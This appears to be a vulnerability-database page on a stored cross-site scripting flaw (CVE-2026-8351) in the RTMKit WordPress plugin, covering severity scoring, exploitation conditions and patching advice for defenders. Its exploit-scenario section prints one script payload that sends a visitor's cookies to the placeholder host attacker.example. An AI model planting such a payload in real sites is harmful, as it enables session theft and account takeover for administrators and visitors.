Skip to main content

RTMKit WordPress Plugin CVE-2026-8351

| EUVDEUVD-2026-41512 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-03 Wordfence GHSA-cvjh-fmg7-m8wm
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or register WordPress contributor account
  2. Delivery
    Open Advanced Heading widget editor in Elementor
  3. Exploit
    Inject XSS payload into 'Background Text' field
  4. Execution
    Payload persisted to database without escaping
  5. Persist
    Victim user loads the injected page
  6. Impact
    Malicious script executes in victim's browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a WordPress account with contributor-level access or higher (CVSS PR:L), which an attacker must possess or acquire before injection is possible - unauthenticated visitors cannot plant the payload. The target site must have the RTMKit (rometheme-for-elementor) plugin installed and active at version 2.0.7 or earlier, and at least one page must use the Advanced Heading Elementor widget. The Elementor page builder must also be installed and active, as RTMKit extends it. No atypical server-side configuration is required beyond the plugin being active. Exploitation is bounded by the need for an authenticated session at contribution level; sites with closed user registration and a small trusted contributor base face substantially lower realistic risk than open-registration or high-contributor-count deployments.

Impact

The NVD-assigned CVSS 3.1 score of 6.4 (Medium) uses vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The Scope:Changed metric is justified - the injected payload executes in victim browsers, a different security principal than the WordPress server. However, UI:N is debatable for stored XSS: while the attacker does not need to craft a per-victim phishing link, a victim must still browse to the injected page, which many analysts would score as UI:R (reducing the score to approximately 5.4). PR:L is the critical gating factor - a contributor-level account is required, which meaningfully constrains opportunistic mass exploitation but is trivially met on sites with open registration or multiple content authors. EPSS data was not provided in the input, so exploitation probability cannot be quantified from third-party telemetry. No KEV listing and no identified POC reduce urgency relative to a comparable authenticated flaw in CISA KEV. Real-world priority is moderate to high for multi-author WordPress deployments and low for single-admin sites with no external contributors.

Exploit ScenarioDerived

An attacker obtains a contributor-level WordPress account on a target site running RTMKit ≤ 2.0.7 - either by registering on an open-registration site or by compromising existing credentials. They edit or create a page using the Advanced Heading Elementor widget and enter a JavaScript payload such as "><script>document.location='https://attacker.example/steal?c='+document.cookie</script> into the 'Background Text' field; this value is stored unsanitized in the database. Every subsequent visitor to that page - including administrators - will have the script execute in their browser, allowing session token exfiltration or account takeover.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 03, 2026

Stored Cross-Site Scripting in RTMKit (rometheme-for-elementor) versions up to and including 2.0.7 allows authenticated contributors to persist arbitrary JavaScript in WordPress pages via the Advanced Heading widget's 'Background Text' field. The root cause is the direct concatenation of the user-controlled background_text_heading setting into an HTML attribute inside the widget's render() function without applying WordPress's esc_attr() sanitization, reported by Wordfence. No active exploitation is confirmed (not listed in CISA KEV) and no public exploit code has been identified at time of analysis, but the contributor-level access prerequisite makes this realistically exploitable on multi-author or open-registration WordPress sites.

RemediationAI

Update the RTMKit (rometheme-for-elementor) plugin to version 2.0.8 or later, which addresses the missing esc_attr() call in the Advanced Heading widget's render() function; the fix is evidenced by the trac changeset at https://plugins.trac.wordpress.org/changeset?old_path=%2Frometheme-for-elementor/tags/2.0.7&new_path=%2Frometheme-for-elementor/tags/2.0.8. Note that 2.0.8 as the patched version is inferred from the trac diff and has not been confirmed by a separately published vendor security advisory - verify the changelog after updating. As a compensating control before patching, restrict the WordPress contributor role to fully trusted internal users and disable open user registration if enabled; this prevents unauthenticated attackers from self-registering to reach the contributor access threshold, though it will affect normal editorial workflows. Alternatively, temporarily deactivate the RTMKit plugin if the Advanced Heading widget is not operationally required, accepting the trade-off of lost Elementor widget functionality.

Affected VersionsENISA

RTMKit 0 ≤2.0.7

Affected Packages

euvd rtmkit no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

RTMKit (WordPress plugin slug: rometheme-for-elementor, vendor: RomeTheme) is an Elementor widget extension for WordPress. The vulnerability resides in Inc/Elements/AdvancedHeading.php - specifically in the render() function at lines 133 and 960 (per trac source references), where the background_text_heading setting value is concatenated directly into an HTML attribute string without invoking esc_attr() or any equivalent output encoding function. CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) is the root cause class: a classic output encoding omission at the server-side template rendering layer. Because the payload is written to the database during widget save and replayed to every page visitor, this is a stored (persistent) XSS rather than reflected. The CPE string cpe:2.3:a:rometheme:rtmkit:*:*:*:*:*:*:*:* covers all versions through 2.0.7.

Know when Rtmkit gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS still requires a victim to navigate to the injected page (UI:R); PR:L reflects mandatory contributor account; S:C correct as payload executes in victim browser principal.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The RTMKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Advanced Heading widget's 'Background Text' parameter in versions up to, and including, 2.0.7 This is due to insufficient output escaping on the 'background_text_heading' setting in the render() function, which concatenates the value directly into an HTML attribute without applying esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
niche Elementor addon plugin, limited enterprise footprint
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy